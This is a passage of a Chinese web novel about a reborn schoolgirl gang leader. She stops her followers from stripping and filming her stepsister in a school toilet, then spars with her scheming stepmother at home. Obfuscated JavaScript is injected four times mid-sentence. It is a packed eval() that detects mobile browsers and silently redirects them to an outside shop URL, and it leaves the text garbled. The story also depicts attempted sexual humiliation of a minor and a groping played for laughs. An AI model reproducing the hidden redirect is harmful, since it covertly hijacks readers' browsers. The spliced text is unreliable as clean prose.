沈析洛败就败在太过信任身边的几个人,根本没去留意这几人背着她,对严菟到底做了什么不可挽救的事! 她从小受热血动画片和古惑仔电影的熏陶,立誓要当一名别创新异的大姐头,宁愿与死对头面对面撕逼,也不屑在背后做偷偷摸摸的阴损事来坏自己格调、灭自己威风。 当然,这个中二的誓愿直到大学毕业踏出社会坐了牢,才有所动摇。 所以,沈析洛再坏,也是一个在街头和小混混厮打、回头给老奶奶让座的超有原则不良少女! 她以为几个人跟了她那么久,清楚她的做事风格,也相信那几人对于“霸凌”这件事会适可而止的拿捏好分寸。 但是,如果其中有人存有异心,故意在两方游走挑唆、恶化事态,那后果就另当别论了。 可想而知,这摆明是第三方的阴谋,想让沈析洛和严菟两败俱伤,自己好坐享渔翁之利! *** 两人跑到东二楼。 沈析洛想起什么似的陡然停下来,跑在后面的钱小昂一个刹不住撞上了她的后背。 沈析洛转过身来,道:“小昂,你去找正在值班的虎姑婆……” “不好意思老大,我不是故意的。”撞到对方的钱小昂赶紧道歉,又好奇地问:“你怎么知道今天是胡老师值班呀?” “我刚才在对面楼看到她了。你去告诉她,我们班的门锁坏了。” 钱小昂:“你怎么知道我们班的门锁坏了?” 沈析洛:“是我弄坏的。” “你为什么要把锁……”钱小昂说到一半,才反应过来自己好像问了不该问的问题。不论老大想做什么事情,身为一个合格的跟班是不能过问的…… 沈析洛笑而不语,伸过手去。 意识到自己犯蠢的钱小昂,以为对方要打她,立刻抱住脑袋:“对不起老大,我错了……” 沈析洛的手放在她头上,揉了一下,道:“乖,让你去你就去。”说完,转身疾步朝高一A班旁边的女厕跑去。 留下站在原地的钱小昂,抱着脑袋发愣:咦……老大居然没打我…… 她回过神来,立即跑去四处张望,寻找正在值班的胡老师。 站在女厕拐弯处,沈析洛暗自调整呼吸,隐藏起内心复杂的情绪,悠然地踱步走过去。 此时厕所门口正守着两个女生,她们一见到沈析洛走来,立马迎上去。其中一个黄色长发的女生道:“老大,你怎么这么就快过来了,我们刚把里面的人清走,还没开始……” “还没开始什么?”沈析洛挑起单边眉,道:“我好像只说过让你们把严菟关在厕所里,等我自己来,没让你们做其他事吧?” 另一个女生是卷发泡面头,她看起来似乎有点紧张:“呃……老大,那我这就去叫她们出来!”她刚想转身去通知里面的人,就被旁边的沈析洛伸手拦住。 沈析洛食指抵在唇边,用警告的眼神看着她:“嘘。”然后径直走了进去。 经过洗手台,沈析洛还特地花两秒时间照了一下镜子—— 镜子里的她,染了一头她个人认为非常漂亮有型的紫色烟花烫,重生后的她见到这么青涩的自己,依然觉得——这发色很酷炫! 她收回目光,继续往里走。 女厕里面分为两排,每排有六个独立隔间,最末尾一间传来几个女生争吵的声音—— “……你们干嘛扯我衣服,放开我!!” “别动别动,很快就好。” “救命,救——” “快快,把她嘴巴捂住。” “唔、唔唔……!!” “快点吧,老大要来了。” “你别只顾着催呀,我一只手要拿DV,使不上劲啊,你快把她背心拉起来……” 突然“砰”的一声震响,厕所门被人从外面一脚踹开。 只见狭窄的隔间里,挤着四个人,四人穿着同样的校服,其中三个发型醒目的女生将一个身形纤瘦、皮肤白皙、衣衫不整的黑色长直发的女生夹困在中间。 一人捂着她的嘴,从背 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17132615|196235||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后锁住她双手;一人半蹲下来抱住她乱蹬的双腿;最后的一人拿着一部DV,空出另一只手在拉扯她的衣服。 四人随着声响一惊,同时抬头看向门口的人。 背着光线挡在门边的沈析洛,正面色寒霜地盯着她们。 不愿错过每个人脸上微妙的表情变化,沈析洛犀利的目光将她们扫视了一遍,最后停留在中间被束缚的女生,也就是严菟身上。 严菟原本屈辱的眼神,因为对方的到来,而更沉了一分。 沈析洛眼皮一抖,心脏暗自狂跳了起来——妈呀,现在跪下来喊严菟爸爸还来得及吗?? 不是因为知晓严菟未来有多强势,而是沈析洛单纯想膜拜一下眼前这位锦鲤王,蹭一蹭对方身上的欧气! 只有经过上一世的她才知道,只要和好运有关的事物都会发生在严菟身上;不管她陷害严菟多少次,对方最后总是能化险为夷,把危机变成机遇。 好比前面提过的,沈析洛在同学面前放话不许有人和严菟来往,不然就是和她过不去。后来,在校园里敢和严菟来往的,都是有能力和沈析洛抗衡的人…… 沈析洛瞬间变成一个给严菟筛选交友等级的过滤网! 所以不怪她后来为什么越来越爱针对严菟,除了对“私生女”的恨,更多是因为嫉妒呀!! 以及这次女厕事件,她想起自己确实有让人放学后把严菟堵在这里,因为她有话要问对方,只是从未授意让这些跟班去这样欺凌严菟。 上一世她姗姗来迟,根本没看到这一幕,只知道她拦在严菟面前时,还没多问几句话,就被严菟突然拿美工刀割伤了手臂,她抬手想反击,正在值班巡楼的胡孤梅也突然赶到冲进来,护住了严菟,最后把沈析洛一干人带去办公室处罚写检讨、记大过。 那时候的沈析洛还觉得特憋屈,她明明啥都还没干,结果不仅被割伤手,还要被叫家长…… 这也是刚才,她临时让钱小昂去支开虎姑婆的原因。 现在,重活一遍的沈析洛领悟一个道理:和天选之子严菟作对的,都特么是自掘坟墓的大傻逼! 不过眼下这个局势,人是已经得罪了,多余的解释只会变得欲盖弥彰,沈析洛也不打算再去挽回什么,因为她心中另有想法…… 看着神情莫测的沈析洛,先开口的是拿着DV的女生,她咽了咽口水,道:“……老大,你来啦,严、严菟这个贱人刚刚辱骂你,我们看不过眼,就就……” 沈析洛一把夺下对方手中巴掌大小的黑色摄像机,试玩了几下:“你预料她会骂我,所以就连DV也提前准备好了?” 另一个半蹲的女生站起来,一脸困惑:“诶,老大,不是你让我们这么做的吗?” 那个DV女生制止她:“娅南,别和老大顶嘴!”这话语中,委婉地默认是老大让她们这么做的。 沈析洛隐忍怒气,若有所思地瞥了DV女生一眼,对方立即移开视线。 “嗯,是我让你们做的。”沈析洛出声承认,然后语气低沉道:“好了,你们三个先出去守在门口,我有话和严菟说!” “是,老大。”三个发型醒目的女生立刻松开严菟,前后走了出去,走在后面的DV女生指着沈析洛手里的摄像机,试图把它取回去:“老大,这个,我的……” 沈析洛突然一声怒斥:“滚!” “啊,是……”被吓得浑身一抖的女生立马埋头跑了出去。 连眼前低着头的严菟,也被对方的怒吼吓了一下。 隔间里,终于只剩下沈析洛和严菟两人。 6. 第06章 沈析洛不是沈家的人,为了不重蹈上一世被人利用、最后被冤入狱的命运,她必须尽早脱离沈家,不过在此之前,她还有好多事情要去慢慢解决。 上一世沈氏破产,不管是被人刻意举报或是沈家咎由自取,都与当时身处牢狱的沈析洛毫无关联,但却是她最希望看到的结果,而且她还知道了严菟是其中的关键人物! 所以这一世,她虽然很想抱着的严菟大腿喊爸爸,但她不敢改变轨迹,引发蝴蝶效应。反正如今事已成局,严菟这几天遭受到了身心伤害,也不可能轻易对她改观,那她就让严菟一直讨厌她、恨她好了。 按照上一世那样,严菟厌恶她,厌恶整个沈家,最后带着这份恨意离开沈家,开启后面的崛起之路。至于沈析洛,则功成身退,赶紧卷铺盖跑人,让沈家的人自食恶果去。 ……不过,万一沈析洛把严菟惹急了,等她跑路后,人家严菟照样把她追到天涯海角怎么办? 如意算盘打得啪啪响的沈析洛最后得出结论:欺负还是要继续欺负的,但不能太绝,后面得想办法把自己从严菟的黑名单摘出来,让对方慢慢遗忘掉她…… * 隔间里,终于只剩下沈析洛和严菟两人。 手脚得到释放的严菟,当即退靠到墙角,开始整理自己身上的衣服,同时用戒备的目光紧盯着对方。 沈析洛沉默地走上前去,贴近对方,两人近得只有一拳之隔。 严菟陡然屏息,眼神隐隐带戾:“你想干嘛……”她运动外套的拉链也不拉,只将双手慢慢放到身后。 沈析洛注意到对方这小动作,明白对方的顾忌,便随手把DV搁在侧面的窗沿边,然后单手撑在墙上,问:“她们刚刚说你骂我,你骂我什么了?” 两人身高相似,都在一米七六左右,只是沈析洛蓬松的紫色发型显得略高一筹。严菟垂眸,余光瞥向旁边的那部DV,道:“我没骂你。” 沈析洛点点头:“嗯,我相信你,像你这么斯文的三好学生,一定不知道怎么骂人。”她也低下眼眸,留意着对方的藏在背后的双手,继续说:“我约你来这里,是想问你一个问题。” “让人强行把我拖到这里,是你……”严菟顿了一顿,抬起眼来:“是洛姐姐特有的‘约’人方式吗?” 明知道唤沈析洛作姐姐会挨巴掌,但她又故意喊了一遍,显然……是想引沈析洛动手。 沈析洛一愣,继而发出低低一笑,缓缓逼近对方:“妹妹说话真有礼貌,‘洛姐姐’这个独一无二的称呼我很喜欢。” 感觉到对方的鼻息快要喷在自己的脖颈,严菟不适地撇开脸,“请别再靠过来了。” 沈析洛笑容不变。其实内心在颤抖啊,她也不想靠那么近啊,她现在整个人呼吸急促,紧张得要死了都,但是不靠这么近不方便行事啊!! “我说……”沈析洛话没说完,突然毫无预兆地伸出双臂去环住对方,将对方紧紧捆抱在怀。 严菟眸子中的狠戾一闪:“你!!” 下巴正靠在对方肩上的沈析洛,当场握实了对方放在身后的胳膊,顺势往下滑,夺过对方从袖口中溜出来的美工刀。 措手不及的严菟心中一跳。 顺利夺下小型美工刀的沈析洛大大松了一口气,这才后退一步,把小刀拿在手里玩转,用略带责怪的语气道:“……小女孩不要玩刀嘛,很危险的,这小刀刀我没收了哈。”然后不由分说地把美工刀放进自己书包里。 这可是上一世划破她手臂的小刀耶!她当然要小心谨慎点对付啦,不过现在已经没事了。 “你……”被识穿伎俩的严菟迅速恢复镇定,沉默地低着头,令人不知其所想。 “别怕呀,我真是来问你问题的。”心情愉快的沈析洛痞态复萌,一手撑回墙边:“你为什么要去给欧阳峤递水,你们是什么关系?” 目睹严菟去勾搭自己的暗恋对象,这是一开始沈析洛按捺不住怒火打了严菟的导火线。 “嗯?”严菟微蹙起眉头,“欧阳峤是谁?” 沈析洛比手画脚地解释:“就是在操场上打篮球,最高最白最帅的那个,校草呀!” 严菟想了想,直视她:“不是你让我去给那男生送水送毛巾的吗?” “……”沈析洛倏地深吸一口气,改握拳头砸了下墙壁,同时低咒一声“擦”——她就知道她又被人利用了,那次摆明是有人故意引她去看的,而严菟从头到尾只是个不知情的受害者。 那就说得通了,原来这时候的严菟还不认识校草,但沈析洛知道,后来校草一直在追求严菟,只是被严菟拒绝了。当时沈析洛可生气了,气这狐狸精矫揉造作,到处乱撩男生,还对人家欲迎还拒、欲擒故纵…… 行吧,误会解开了。沈析洛突然觉得眼前的严菟真是越看越顺眼——简直是只无辜的小兔子。 可不是,夕阳的暖色光斑透过侧窗映照在对方如陶瓷娃娃般白皙的脸蛋上,俏鼻樱唇,扑扇扑扇的长睫毛下是一双纯天然的琥珀色瞳孔。 现在的她还只是纯白如纸的青涩少女模样,等将来她把额前厚厚的刘海梳开,露出饱满有美人尖的天庭,画淡彩换礼服,那才叫真正的艳惊四座,任何当红流量女星与之媲美皆稍显逊色。 不得不说,严菟长着一张令人超级嫉妒的脸,也难怪沈家的女人们个个那么排斥她…… 愣神两秒的沈析洛拍了一下自己的脸颊:发你妹的花痴呢!她抬手拿过窗沿上的DV,摆弄了几下,见严菟的注意力一直放在这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17132616|196235||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上面,也明白对方在担心什么…… 沈析洛眼珠子一溜,起了玩心,把DV调成拍照模式,然后也不管严菟乐意不乐意,搂着着对方的肩膀,把镜头对向两人,道:“茄子!” 咔擦一声,DV屏幕里,某个脸大如盆的紫发笑得一脸灿烂,而旁边的黑长直则微侧开头,表情很是抗拒,但依然能看出五官又美又上镜。 严菟立马挥开肩上的那只手:“你做什么!” “啧,拉着个脸拍照都那么好看,真让人觉得可恨。”沈析洛随口道。然后取出DV里的存储卡,塞到对方手里:“喏,拿去。”又把DV的屏幕展现在对方面前,“看清楚了,存储卡被你拿了,现在里面什么图片和视频都没有了,也没有备份哦。” 不过也好在沈析洛刚才踹门踹得及时,没让她们拍摄到什么限制内容。 “……为什么?”严菟紧握住手里的东西,眼神依旧戒备,似乎在猜测对方有什么其他意图。 沈析洛心叹:她这是不想得罪大腿呢,但又不能表现得太明显,让对方看出来她的变化。 于是她故意露出不怀好意的表情,伸出手去帮对方扣起外套的拉链头,一边威胁道:“这次呢,只是一个小小的警告,记住这种害怕的感觉,以后不要和我走太近,还有离我身边的人远一点,不要让我看到你和她们有接触。” “是她们自己来找我的。”严菟因她的动作而紧绷身子,双手捏着裙摆。 沈析洛缓缓拉起对方的拉链:“找你怎么了,你有手有脚的,不会自己避开吗?身边都是同学,随便拉几个来挡一挡,不会吗?去找老师告状,不会吗?以后呢,就别带什么刀了,伤了人还得负刑事责任,万一被人夺刀了那更惨,去弄个辣椒水喷雾吧……” 严菟眨了眨琥珀色的大眼睛:“你……这是在教我防备她们吗?” “呃……”沈析洛瞬间语塞,眼神游移寻思着找什么借口挽回场子。手中的拉链刚好拉到对方的胸口处,她低眸一看,严菟平时瞧起来挺瘦弱的,没想到发育却这么良好。她果断顺手往上面一摸,同时赞叹道:“诶,你胸挺大的嘛!” “啊!”严菟蓦地发出短促的叫声,然后“啪”地一下狠狠拍开了沈析洛的手。 “老大!——”外面随即传来钱小昂的高呼。 听到呼唤声,沈析洛一惊,猜出钱小昂应该是被外面的几个跟班为难了。 她匆匆地把严菟衣服上的拉链提到领口最高处,也不在意自己被打得发红的手背,随意捏了捏对方的小脸蛋,嘱咐道:“等我们走了你再出来。”说完便转身跑了出去。 没反应过来的严菟愣了一下,而后目光愈发深邃—— 这个人,似乎和资料里描述的不太一样…… 7. 第07章 沈析洛揉了一下脸,几步跑出女厕门外后,恢复凶悍的表情:“你们吵什么吵?” 只见门口前站着五个发色分别为红、黄、蓝、绿、灰的不良女生,五人将扎着双马尾的钱小昂围困在中间。 其中绿发女生,也就是刚才在隔间里拿着DV的女生,像拎小鸡一样提着钱小昂的衣领,回过头来对沈析洛道:“老大,这小矮子是叛徒,她刚刚想冲进去救严菟那个贱人,还好被我们拦下了!” 钱小昂带着哭腔小声辩解:“老大,我没有……” 另一个卷发泡面头,也就是红发女生,接话道:“怎么没有,老大让我们全部守在外面,你才来没多久,一听到严菟的叫声就立刻激动地喊起来,摆明是想打扰老大办事,你说,你是不是对老大有意见?你到底是站在哪一边的?”说完还露出满脸的幸灾乐祸。 显然,大家都误以为刚才沈析洛在隔间里把严菟狠狠教训了一顿。 钱小昂害怕地缩了缩肩:“我不是……我没有……” “什么?!”沈析洛的反应果然不失众人所望,她生气地怒吼:“钱小昂!!”然后泄愤似的把手里的黑色DV猛地用力砸到地上,发出“砰啪”的响声,不堪一摔的DV瞬间支离破碎。 众人被吓得浑身一震,齐齐后退几小步。 绿发女生当场惨叫了起来:“啊——我新买的SONYDV!!!” 沈析洛抿唇,压下差点扬起来的嘴角,她作出怒气冲冲的样子挤开那五人,上前一把拽住钱小昂的胳膊,语气强硬道:“你跟我来!”然后撇下一干人,啥话也没留,拖着对方大步流星地离开。 站在原地的绿发女生看着地上的DV碎骸,气得咬牙切齿,但又不好发作。 另外四人面面相觑,不知道安慰她什么好。她们可不敢当面谴责老大的不是,毕竟暴脾气的老大发起火来什么事都干得出,她们已见怪不怪,反倒开始有一点同情总是给她们跑腿的小矮子了…… 恼怒的绿发女生决定找其他人来发泄,于是带头道:“严菟还在里面,我们进去!!” 沈析洛快步走到拐角的楼梯口,她没下楼,而是对着钱小昂做了个噤声的手势,然后拉着对方迅速跑上三楼,接着停靠在楼梯扶手旁,从上往下望去—— 果然,不出几秒,打扮保守的胡孤梅和另一名值班的男老师正蹬蹬蹬地从一楼跑到二楼来,循声朝女厕的方向赶去。 也是,这边的动静闹得那么大,肯定会把在这附近巡楼的老师给招引过来。 钱小昂下意识地担心道:“不好,老师来了,快走……” 沈析洛立马捂了一下她的嘴,对她摇摇头,示意她别说话。 此时的沈析洛脸上哪还有半点怒意,正翘着两边唇角,笑得跟只偷腥的猫一样。 钱小昂有些意外地看着对方自得的神情。她突然感觉眼前的老大,好像没想象中那么可怕…… 没一会儿,二楼传来胡孤梅的叱责声:“喂,你们在这里做什么!别躲了,我光看你们这五颜六色的后脑勺就能念出你们的班级和名字,都给我一个个走出来,排队站好!” 虎姑婆声音变柔:“……是严菟呀,你还没回家吗?诶,你的头发怎么乱了,还有衣服怎么也皱巴巴的,不会是她们……” 又厉声一转:“好啊,你们这帮不学无术整天就知道违反校规搞特殊的坏家伙,现在居然还敢联合起来欺负一个弱小无助的同学,真是反了你们,都别解释了,马上跟我去办公室一趟!!” 接着再次安抚:“严菟同学,你有没有哪里受伤了?别怕,大胆告诉老师她们都对你做了什么,老师一定替你做主!” 严菟轻声回应:“谢谢老师关心,我没事,她们……暂时还没做什么。” “这样啊……诶不对,她们一定是威胁你了是不是……” 几人断断续续的对话声由远到近,眼看他们前后走来楼梯口,沈析洛怕被发现,干脆推着钱小昂,悄声上了楼顶。 *** 此时两人倚靠在天台的围栏,头顶是一望无际的天空。 沈析洛正在望着远处发笑:“呵呵呵呵……” “……”钱小昂被对方的喜怒无常给弄糊涂了,她缩着脖子,好奇地小声问道:“不是呀老大,那个,小伙伴们被老师带走了,你、你怎么还笑得出来?” 沈析洛侧过头去,轻松调侃道:“她们平时那样对待你,现在被老师逮着了,你敢说你心里没在偷乐?” “哪有!”钱小昂赶紧矢口否认:“没有没有,才没有……”却边说边不自觉地把手挡在脸上,渐渐露出一副想笑又硬憋着的模样。这可是在幸灾乐祸呀,她本来没敢笑的,都怪老大的笑声感染了她…… 沈析洛好笑地看着她,过了一小会儿,随口问起:“你刚才是想救严菟吗?” “不是的,老大……” “没关系,说实话。”沈析洛斜睨她。 “呃,我……”钱小昂低头踌躇了一下。不知道为什么,她觉得今天的老大比平时亲切多了,这让她忍不住想把心里话说出来,于是犹犹豫豫地开口道: “我确实是想进去阻止老大你……因为无缘无故欺负人,是不对的。以前老大也经常欺负人,但那都是因为别人挑衅在先,老大才会出手收拾他们! 可这次、这次就过分了, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17132617|196235||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 严菟又没做错什么事,而且她人看起来挺好的……还是老大的妹妹对吧?老大怎么能这样不分青红皂白地随便欺负人……”说完,她小心翼翼地偷瞄对方。 “原来你一直是这样想的吗?”沈析洛莞尔,“好,那我以后不随便欺负人了。” 对方这觉悟得太快了,钱小昂以为是在反讽,立刻紧张道:“不不,老大你别误会,我、我就胡言乱语随便说说,没有要训诫你的意思……” 沈析洛转过身来,微笑着朝她伸出双臂。 钱小昂没反应过来:“嗯?” 沈析洛走过去,把小个子的她揽在怀里,郑重地抱了一下:“谢谢你,小昂。” “咦咦?”对方这突如其来的举动,让钱小昂非常不知所措,“谢?谢我什么??” “谢谢你这么理解我,替我着想。”沈析洛握着她的肩膀,眼神逐渐发光,“谢谢你一直没有离开过我,不管是在我最得意或最落魄的时候。还要谢谢你,一直把我当成真正的朋友!” “老大,你你你到底在说什么呀??”她听得晕乎乎的,不知是对方背着光的紫色发型太夺目,还是被对方真诚的神情闪到了眼,钱小昂面颊莫名开始发红发热,“哪、哪敢当朋友,能做老大的小跟班我就很知足啦……” 终于释放出部分情绪的沈析洛,兴奋得双手揉起她的脑袋瓜:“说啥呢你,怎么这么呆啊!” “……”两边精致的双马尾硬被搓成刺猬头的钱小昂表示:嘤嘤嘤,老大你又欺负人了! 沈析洛再也兜不住自己从醒来以后憋了大半天的激动,这会儿高兴地在原地起跳,转圈:“哈哈哈,太好了,我回来了,太好了太好了,一切都还来得及!” “……”钱小昂蹲下抱头。嘤,老大你到底怎么了,能正常点吗? 不过,老大之前也总是这样动不动就扯她辫子、戏耍她,可是不知道怎么了,这次她心里莫名觉得很开心! “小昂,说出来你可能不信,其实我……”沈析洛陡然跃起来往空中一挥拳,高声欢呼—— “我重生了!!!” 钱小昂举起手:“老大,我信!” “啊,真的吗??” “真的,我也重生了!” 沈析洛:“什么?!” 钱小昂抱着膝盖一脸认真:“我们这次是没有被胡老师抓到的劫后重生!” “……”沈析洛蓦地一顿,接着噗嗤一声,爽朗的笑声顿时响彻天际:“啊哈哈哈哈哈——” 对面楼下忽然传来熟悉的呵斥声:“谁在楼顶上?!” 两人互视一眼,不约而同地吐了下舌头,然后赶紧猫腰走人。 8. 第08章 傍晚,天边晚霞绯红。 沈析洛站在沈家大门前,迟迟不入。一想到即将要去面对那对虚情假意的母女,她就烦躁不已。 上一世她知晓真相时,简直恨不得当场拉着那母女一起下地狱;后来得知沈家破产,那两人下场凄凉,她瞬间感到大快人心;此后又仔细想想,觉得自己真够可悲,不但被她们毁了整个人生,就连最后的喜怒哀乐也要受到她们的牵动。 好在上天让她重活一世,现在十六岁的她,还可以挽回许多许多事情! 想到此处,她一下便释然了。该面对的人迟早是要面对的,只是一想到得去喊那个恶毒的女人做“妈妈”,她内心就一阵反感…… 可转念再想,对方何尝不是一直厌恶她、巴不得除掉她而后快,所以她每次喊对方“妈妈”的时候,对方内心其实也被膈应到不行吧? 是了,看来她不但要喊,还要积极的喊、亲热的喊,膈应死对方。 沈析洛走进富丽堂皇的高屋大宅,随手把书包丢在地上,不远处的保姆立即走上前将书包拾起来,顺手接过她脱下来的校服外套。 她踱步来到客厅,便见中央奢华的真皮沙发上坐着一个着装精致、面容姣好的贵妇,贵妇实有四十多岁,但光从外表来看也就三十出头。 贵妇即沈母,名叫许莲澜,她正在休闲地翻看时尚杂志,听到门口的动静,便知道是大女儿回家了。她站起身来,和一般的慈母一样露出和蔼的微笑,然后朝沈析洛走去。 未等她开口说话,沈析洛突然扯开嗓门拔高声线,闭起双眼,发出又嗲又长又富有波浪起伏的叫唤: “妈啊啊啊~~~~~~咪咦咦咦~~~~~~~~” 余音绕梁。 屋里楼上楼下的人皆不约而同地打了个寒颤,偷偷抚平身上的鸡皮疙瘩:天惹,大小姐这又是抽了哪门子的筋…… 连正在饭厅用餐的人也忍俊不禁地抿起唇角。 “!!”许莲澜脸上表情狠狠一僵,非常明显地被“震”退了两步。 沈析洛这才收起尾音,面无表情道:“我回来了。” “哦、哦……呵呵。”许莲澜尬笑了几声,也没再继续向对方走去,就怕对方突然想撒娇冲过来抱她。她停步在原地,道:“你、你回来啦,怎么一回家叫得那么热情,妈妈有点被吓了,呵呵……对了,你吃饭了没有?没有的话,我吩咐徐嫂给你做饭?” 沈析洛掩下视线。 她今天才发现,别人家孩子晚归,父母都会质问孩子“去哪了,为什么那么晚回来”之类的。而沈析洛从小到大每次不论晚回家,她“妈妈”从来不会问她去哪,只让她想去哪就去哪,放心去玩。如果“爸爸”为此发怒责备她贪玩,“妈妈”就会在旁边替她说情。 她以前觉得“妈妈”真的很宠她,对她事事纵容。如今她才领悟对方想表达的隐晦含义:想去哪就去哪,最好消失在外面别回来…… 沈析洛登时语气不耐烦:“不吃!”看见她们就倒胃口,还不如去自己房间里……吃各种零食。 许莲澜见对方这副态度,立刻神色担忧道:“哎哟,瞧你一脸不高兴的,听说你今天在学校心情不好,是不是谁惹到你生气了?来,告诉妈妈是谁这么大胆,妈妈帮你出气。” 沈析洛心中冷笑:最近在学校发生的事都和严菟有关,这女人话里话外无非是想让她说出“严菟”二字来。于是她故作犹豫道:“是……” 许莲澜用期待地眼神看着她。 沈析洛抬眸:“是谁跟你说我在学校心情不好的?是我身边的同学吗?是哪个,叫什么名字?” 许莲澜一愣,而后僵硬地笑了笑:“说的什么话呢,妈妈这不是在关心你么,看来没人惹你不高兴,那妈妈就放心了。”又转移话题,“你肚子饿不饿……” “不饿。”沈析洛转身就走。 沈析洛从小性格暴躁,所以许莲澜对她目无尊长的态度很是包容,毕竟是自己“养”大的孩子。 *** 准备上楼的沈析洛路经饭厅时,又倒步退了回去,果然看到严菟正一个人端坐在餐桌前吃饭…… 沈析洛内心瞬间卧槽了一下:这人坐在这里多久了,她刚才喊“妈咪”时的破锣嗓子应该没被对方听到了吧?应该没吧??这可事关到她平时耀武扬威的形象啊! 她又仔细一瞧,只见严菟手里捧着白瓷碗筷,跟前则是一碟小小的……咸菜? 她迟疑了一下,然后大大咧咧地走过去,在对方准备伸筷夹菜时,她一手把那小碟干瘪的咸菜移开,站在对方旁侧,居高临下地问道:“干嘛,减肥呀?” 严菟顿了顿,缩回手,低头不回应,继续无声地吃着碗里硬成一坨一坨的白饭。 沈析洛不可思议地瞪起眼睛:嚯,好熟悉呀,她在牢房里吃的伙食就和这个差不多。 这时,许莲澜悠悠走过来,随口解释道:“哎,这孩子太晚回家了,厨房里又没留菜,只能委屈一下吃剩饭了。”又转头对向另一边,“严菟呀,别说阿姨故意苛责你,这么做只是为了让你知道家里的规矩,下次记得早点回家,不回来也要提前说一声,别让厨房里的保姆为难。” 女人说的这话,与刚才积极询问沈析洛要不要让徐嫂做饭时,是截然两副脸孔。 严菟抬头,平静道:“我昨晚准时了。”意思是她昨晚准时回来了,但最后也是吃同样的剩饭。 许莲澜:“昨晚都不知道你在房里干嘛,吃饭时间不下楼吃饭,大家以为你不吃呢。” 严菟:“写作业,没人叫我。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17132618|196235||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 许莲澜:“那就是你写作业太专心了,保姆敲门喊你吃饭你都没回应。” 坐在餐桌前的严菟低头,不再多言。 听了她们的对话,沈析洛暗中握拳。这都是些什么糟心的破理由…… 许莲澜暗自轻蔑一笑,又看向大女儿,意有所指地贴心说:“析洛,你爸爸这阵子去国外出差了,严菟上个月才刚来,对家里的事务不是很懂,你身为姐姐,没事记得多‘关照关照’她。” 沈析洛眯起眼睛。哦,原来是“爸爸”不在家呀,难怪这可恶的女人敢使出来如此低级不入流的手段。真是让了长见识了,一个偌大的沈家连一顿小小的晚餐都供应不了,是想笑掉谁的大牙?看来女人为了刻薄严菟,倒是很“煞费苦心”。 重点是,特么的这女人拉仇恨还要拖她下水! 不过也好,谁怕谁,等拉足了仇恨,倒霉的就该是你们沈家。 “嗯,我会好好关照妹妹的!”沈析洛忽然拖开旁边的椅子,歪歪斜斜地坐在餐桌前,“我要吃饭了。” 许莲澜:“那我叫徐嫂来……” “不用了!”沈析洛打断对方,然后朝另一边的严菟抬了抬下巴,嚣张地命令道:“你去做饭。”她记得上一世的严菟会做饭。 严菟立马道:“我不……”她不字还没说完。 沈析洛抢先说:“别说你不会,如果做坏了就重新做,一直做到能吃为止。现在来个三菜一汤吧,还要软软的白饭。我不是很饿,所以有耐心在这里等你,你可以慢慢磨。” 严菟蹙眉:“你!” 沈析洛不要脸地咧嘴一笑:“姐姐这是在锻炼你呢,因为沈家的女人都必须会做饭哦。”当然,除了她自己,反正她也不是沈家的人。 旁边的许莲澜将她们的争执看在眼里,这正她想要的效果,心下得意的她说道:“瞧你们姐妹相处和睦我就安心了,我还有事,你们好好玩。”接着吩咐了一句让保姆们别接近厨房,一副任由她俩折腾地欣然离开。 沈析洛自认潇洒地拢了拢一头扎眼的紫发,对严菟桀然一笑:“怎么样,还是你真想慢慢跟我耗,借此培养深厚的‘姐妹情’?那好,就算半夜不睡觉,我也愿意等到你做出来为止。” “……”对方只犹豫了一秒,便转身走去了厨房。 过了好一会儿。 严菟果真从里面端出色香味俱全的三菜一汤摆在餐桌上,然后淡漠道:“行了吧,没什么事,我先上楼了。”说完转身欲走。 沈析洛对着眼前的菜色咽了咽口水,然后一把拉住她的手:“不行!” 严菟皱眉看她。 “我怎么知道你有没有在饭菜里故意下什么七乱八糟的东西啊?”沈析洛挑刺地说,“所以……你必须坐下来和我一块吃!” 9. 第09章 “所以……你必须坐下来和我一块吃!” 沈析洛不由分说地拉着严菟坐回到原位。 严菟无法,只好拿着筷子,把每道菜都夹起来试吃了一小口,试完后问道:“可以了吗?” 沈析洛摇头,再把自己面前一碗热气腾腾的白饭推过去给她:“这个也要试。” 